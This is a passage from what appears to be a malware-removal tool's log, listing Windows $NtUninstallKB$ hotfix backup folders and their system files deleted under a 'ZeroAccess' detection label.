    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB950974$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB950974$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB951066$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951066$\inetcomm.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951066$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951066$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951066$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951066$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB951066$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB951376-v2$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951376-v2$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951376-v2$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951376-v2$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951376-v2$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB951376-v2$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB951748$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951748$\afd.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951748$\dnsapi.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951748$\mswsock.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951748$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951748$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951748$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951748$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB951748$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951748$\tcpip.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951748$\tcpip6.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB951978$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951978$\cscript.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951978$\jscript.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951978$\scrobj.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951978$\scrrun.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951978$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951978$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951978$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951978$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB951978$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951978$\vbscript.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951978$\wscript.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951978$\wshext.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB951978$\wshom.ocx -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB952004$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952004$\msdtclog.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952004$\msdtcprx.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952004$\msdtctm.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952004$\msdtcuiu.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952004$\mtxclu.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952004$\mtxoci.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952004$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952004$\reg00002 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952004$\reg00003 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952004$\reg00004 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952004$\reg00005 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952004$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952004$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952004$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952004$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB952004$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB952069_WM9$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952069_WM9$\logagent.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952069_WM9$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952069_WM9$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952069_WM9$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952069_WM9$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB952069_WM9$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952069_WM9$\wmnetmgr.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB952287$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952287$\msadce.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952287$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952287$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952287$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952287$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB952287$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB952954$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952954$\mscms.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952954$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952954$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952954$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB952954$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB952954$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB954154_WM11$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954154_WM11$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954154_WM11$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954154_WM11$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954154_WM11$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB954154_WM11$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954154_WM11$\wmpeffects.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB954155_WM9$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954155_WM9$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954155_WM9$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954155_WM9$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954155_WM9$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB954155_WM9$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954155_WM9$\wmspdmod.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB954156_WM9L$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954156_WM9L$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954156_WM9L$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954156_WM9L$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954156_WM9L$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB954156_WM9L$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954156_WM9L$\wmex.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB954459$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954459$\msxml6.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954459$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954459$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954459$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954459$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB954459$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB954708$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954708$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954708$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954708$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954708$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB954708$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954708$\windowscodecs.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB954708$\windowscodecsext.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB955069$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB955069$\msxml3.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB955069$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB955069$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB955069$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB955069$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB955069$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB955759$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB955759$\aclayers.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB955759$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB955759$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB955759$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB955759$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB955759$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB955759$\sysmain.sdb -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB955759$\sysmain.sdb.000 -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB956572$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956572$\advapi32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956572$\fastprox.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956572$\lsasrv.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956572$\ntdll.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956572$\ntkrnlpa.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956572$\ntoskrnl.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956572$\pdh.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956572$\rpcss.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956572$\sc.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956572$\services.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956572$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956572$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956572$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956572$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB956572$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956572$\wmiprvsd.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956572$\wmiprvse.exe -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB956744$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956744$\mstscax.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956744$\reg00043 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956744$\reg00044 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956744$\reg00045 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956744$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956744$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956744$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956744$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB956744$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB956802$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956802$\gdi32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956802$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956802$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956802$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956802$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB956802$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB956803$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956803$\afd.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956803$\afd.sys.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956803$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956803$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956803$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956803$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB956803$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB956844$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956844$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956844$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956844$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956844$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB956844$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB956844$\triedit.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB958644$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB958644$\netapi32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB958644$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB958644$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB958644$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB958644$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB958644$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB958869$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB958869$\spuninst\KB958869.asms -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB958869$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB958869$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB958869$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB958869$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB958869$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB959426$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB959426$\kernel32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB959426$\secur32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB959426$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB959426$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB959426$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB959426$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB959426$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB960225$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB960225$\schannel.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB960225$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB960225$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB960225$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB960225$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB960225$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB960803$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB960803$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB960803$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB960803$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB960803$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB960803$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB960803$\winhttp.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB960859$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB960859$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB960859$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB960859$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB960859$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB960859$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB960859$\telnet.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB960859$\tlntsess.exe -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB961118$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB961118$\ntprint.cat -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB961118$\ntprint.cat.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB961118$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB961118$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB961118$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB961118$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB961118$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB961501$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB961501$\localspl.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB961501$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB961501$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB961501$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB961501$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB961501$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB961503$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB961503$\msctfime.ime -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB961503$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB961503$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB961503$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB961503$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB961503$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB967715$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB967715$\shell32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB967715$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB967715$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB967715$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB967715$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB967715$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB968389$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB968389$\kerberos.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB968389$\ksecdd.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB968389$\lsasrv.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB968389$\msv1_0.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB968389$\schannel.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB968389$\secur32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB968389$\secur32.dll.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB968389$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB968389$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB968389$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB968389$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB968389$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB968389$\wdigest.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB968816_WM9$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB968816_WM9$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB968816_WM9$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB968816_WM9$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB968816_WM9$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB968816_WM9$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB968816_WM9$\wmvcore.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB969059$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB969059$\query.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB969059$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB969059$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB969059$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB969059$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB969059$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB969947$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB969947$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB969947$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB969947$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB969947$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB969947$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB969947$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB970238$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB970238$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB970238$\rpcrt4.dll -> Deleted

